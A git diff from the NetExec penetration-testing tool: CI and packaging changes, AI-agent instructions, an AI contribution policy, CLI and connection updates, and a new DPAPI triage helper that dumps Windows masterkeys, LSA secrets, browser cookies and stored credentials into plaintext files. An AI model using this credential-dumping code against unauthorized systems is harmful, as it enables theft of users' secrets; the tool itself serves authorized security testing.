'## Checklist'
];
const missingSections = requiredSections.filter(
section => !body.includes(section)
);
if (missingSections.length === 0) return;
// Check if we already left a comment to avoid spamming
const comments = await github.rest.issues.listComments({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number
});
const botComment = comments.data.find(
c => c.user.type === 'Bot' && c.body.includes('<!-- pr-template-check -->')
);
if (botComment) return;
const missing = missingSections.map(s => `- ${s}`).join('\n');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: `<!-- pr-template-check -->\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!`
});
+19 -28
View File
@@ -14,35 +14,26 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install libraries with dev group
run: |
poetry install --with dev
enable-cache: true
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
run: uv python install ${{ matrix.python-version }}
- name: Install project
run: uv sync --python ${{ matrix.python-version }}
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
uv run netexec winrm 127.0.0.1
uv run netexec vnc 127.0.0.1
uv run netexec smb 127.0.0.1
uv run netexec ldap 127.0.0.1
uv run netexec wmi 127.0.0.1
uv run netexec rdp 127.0.0.1
uv run netexec mssql 127.0.0.1
uv run netexec ssh 127.0.0.1
uv run netexec ftp 127.0.0.1
uv run netexec smb 127.0.0.1 -L
+41
View File
@@ -0,0 +1,41 @@
# Authorized testing scope
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
- Repository instructions do not grant authorization to test any third-party system.
# Coding style
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
- Always bind caught exceptions as `e`, not `error` or another name.
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
- Module scope should contain only imports and the `NXCModule` class definition.
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
- Run `ruff check .` after every coding session.
# Development and validation
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
- Record every module-verification command in `tests/e2e_commands.txt`.
- Do not run compilation checks.
- Run Ruff after completing a coding session.
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
+78
View File
@@ -0,0 +1,78 @@
# AI Usage Policy
This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
The NetExec project has strict rules for AI usage:
- **All AI usage in any form must be disclosed.** You must state
the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
Codex 5.2, etc) along with the extent that the work was AI-assisted.
- **Pull requests created in any way by AI can only be for accepted issues.**
Drive-by pull requests that do not reference an accepted issue may be
rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
the PR may be rejected and closed. If you want to share code for a
non-accepted issue, open a discussion or attach it to the existing issue.
- **Pull requests created by AI must have been fully verified with
human use.** AI must not create hypothetically correct code that
hasn't been tested. Importantly, you must not allow AI to write
code for platforms or environments you don't have access to manually
test on.
- **Issues and pull requests should be written by humans.**
Communication should remain human, not AI, and should be clear and concise.
AI is very good at being overly verbose and including noise that distracts
from the main point. While it is fine to cite AI or include AI-generated
content, the main content of your issue or pull request should be written
by a human. Issues or pull requests that look like they are just the
result of an AI prompt will likely be rejected and closed.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
other rules in this policy.
- **Bad AI drivers will be banned** You've been warned. We love to help junior
developers learn and grow, but if you're interested in that then don't use
AI, and we'll help you.
- **Official maintainers have the final say** We always strive to be helpful,
but there are limits. If you submit agregiously terrible AI generated code
with no review, we may ban you without word. We do not want to waste our
time reviewing slop if the contributor can't be bothered to review the work
themselves.
These rules apply only to outside contributions to NetExec. Maintainers
and trusted contributors are exempt from these rules and may use AI tools at
their discretion; they've proven themselves trustworthy to apply good judgment.
## There are Humans Here
Please remember that NetExec is maintained by humans.
Every discussion, issue, and pull request is read and reviewed by
humans (and sometimes machines, too). It is a boundary point at which
people interact with each other and the work done. It is rude and
disrespectful to approach this boundary with low-effort, unqualified
work, since it puts the burden of validation on the maintainers.
In a perfect world, AI would produce high-quality, accurate work
every time, but today that is simply not true. This is compounded by the fact
that accessibility to AI is high, allowing low skilled individuals to think
that they are contributing useful code. Even many skilled programmers do not
understand how to use it effectively. This has opened up a waterfall of low
quality contributions across the Open Source community, wasting resources.
## AI is Welcome Here, Within Reason
NetExec maintainers acknowledge AI as a productive tool to some workflows, and
are open to leveraging this technology to improve NetExec; however, there are
many low quality AI tools whose use results in pure slop being generated. The
security communinity is not immune from AI psychosis, over-hype, or FOMO.
As with any new technology, it is important to understand how it works and how
to best use it, not blindly apply it to every use case with the hope that it
will fix all your issues.
We include this section to be transparent about the project's usage about
AI for people who may disagree with it.
+1
View File
@@ -65,3 +65,4 @@ Awesome code contributors of NetExec:
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)
+7 -1
View File
@@ -19,6 +19,10 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
@@ -46,8 +50,9 @@ a = Analysis(
'nxc.helpers.bloodhound',
'nxc.helpers.even6_parser',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'nxc.helpers.negotiate_parser',
'paramiko',
'pefile',
'pypsrp.client',
'pylnk3',
'pypykatz',
@@ -76,6 +81,7 @@ a = Analysis(
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
+15 -12
View File
@@ -24,21 +24,24 @@ def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "SmoothOperator"
CODENAME = "Yippie-Ki-Yay"
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group = output_parser.add_argument_group("Output Options")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
log_level = output_group.add_mutually_exclusive_group()
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
@@ -73,17 +76,17 @@ def gen_cli_args():
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup = module_parser.add_argument_group("Modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
@@ -94,13 +97,13 @@ def gen_cli_args():
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group = std_parser.add_argument_group("Certificate Authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
+7
View File
@@ -37,6 +37,13 @@ audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
+49 -31
View File
@@ -5,7 +5,7 @@ import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from threading import BoundedSemaphore, Lock
from functools import wraps
from time import sleep
from ipaddress import ip_address
@@ -14,7 +14,7 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
@@ -22,8 +22,10 @@ from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
from impacket.krb5.ccache import CCache
sem = BoundedSemaphore(1)
fail_lock = Lock()
global_failed_logins = 0
user_failed_logins = {}
@@ -135,6 +137,9 @@ class connection:
self.db = db
self.logger = nxc_logger
self.conn = None
self.output_file_template = None
self.output_filename = None
self.protocol = args.protocol
# Authentication info
self.password = ""
@@ -143,6 +148,7 @@ class connection:
self.args.use_kcache or
self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
@@ -159,11 +165,6 @@ class connection:
self.local_ip = None
self.dns_server = self.args.dns_server
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
@@ -174,10 +175,14 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -239,19 +244,26 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
@@ -307,26 +319,28 @@ class connection:
def inc_failed_login(self, username):
global global_failed_logins, user_failed_logins
if username not in user_failed_logins:
user_failed_logins[username] = 0
with fail_lock:
if username not in user_failed_logins:
user_failed_logins[username] = 0
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins, user_failed_logins
if global_failed_logins == self.args.gfail_limit:
return True
with fail_lock:
if global_failed_logins == self.args.gfail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
return True
return False
return False
def query_db_creds(self):
"""Queries the database for credentials to be used for authentication.
@@ -473,8 +487,6 @@ class connection:
- NTLM-hash (/kerberos)
- AES-key
"""
if self.over_fail_limit(username):
return False
if self.args.continue_on_success and owned:
return False
@@ -490,6 +502,8 @@ class connection:
sleep(value)
with sem:
if self.over_fail_limit(username):
return False
if cred_type == "plaintext":
if self.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
@@ -545,7 +559,7 @@ class connection:
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
username = self.args.username[0] if len(self.args.username) else ""
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
self.logger.info("Successfully authenticated using Kerberos cache")
@@ -592,5 +606,9 @@ class connection:
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
try:
module = loader.init_module(module_path)
except ModuleOptionsError as e:
self.logger.debug(f"Skipping module: {e}")
continue
self.modules.append(module)
+4
View File
@@ -6,6 +6,10 @@ audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
Binary file not shown.
+55 -21
View File
@@ -1,18 +1,21 @@
import configparser
import ipaddress
import platform
import shutil
import sys
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import create_engine, MetaData, func
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy import Table, create_engine, MetaData, func
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
@@ -57,25 +60,15 @@ def init_protocol_dbs(workspace_name, p_loader=None):
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
db_engine = create_db_engine(proto_db_path)
protocol_object.database.db_schema(db_engine)
db_engine.dispose()
def create_workspace(workspace_name, p_loader=None):
@@ -159,6 +152,44 @@ class BaseDB:
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def reflect_table(self, table):
with self.db_engine.connect():
try:
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
# Check for column addition / deletion
reflected_columns = set(reflected_table.columns.keys())
orm_columns = {column.name for column in table.__table__.columns}
if reflected_columns != orm_columns:
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
# Check for constraint changes
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
if reflected_constraints != orm_constraints:
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
return reflected_table
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
commands_platform = {
"Windows": [
f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak",
f"del {self.db_path}"
],
"Linux": [
f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak",
f"rm -f {self.db_path}"
]
}
copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0]
delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1]
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
nxc_logger.debug(e)
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)")
nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB")
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
@@ -173,7 +204,10 @@ class BaseDB:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
with self.lock:
res = self.sess.execute(*args)
return res.freeze()() if res.returns_rows else res
def get_keys(self, key_id=None, cred_id=None):
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
return []
+15
View File
@@ -24,3 +24,18 @@ class DefaultTrackingAction(Action):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
+461
View File
@@ -0,0 +1,461 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
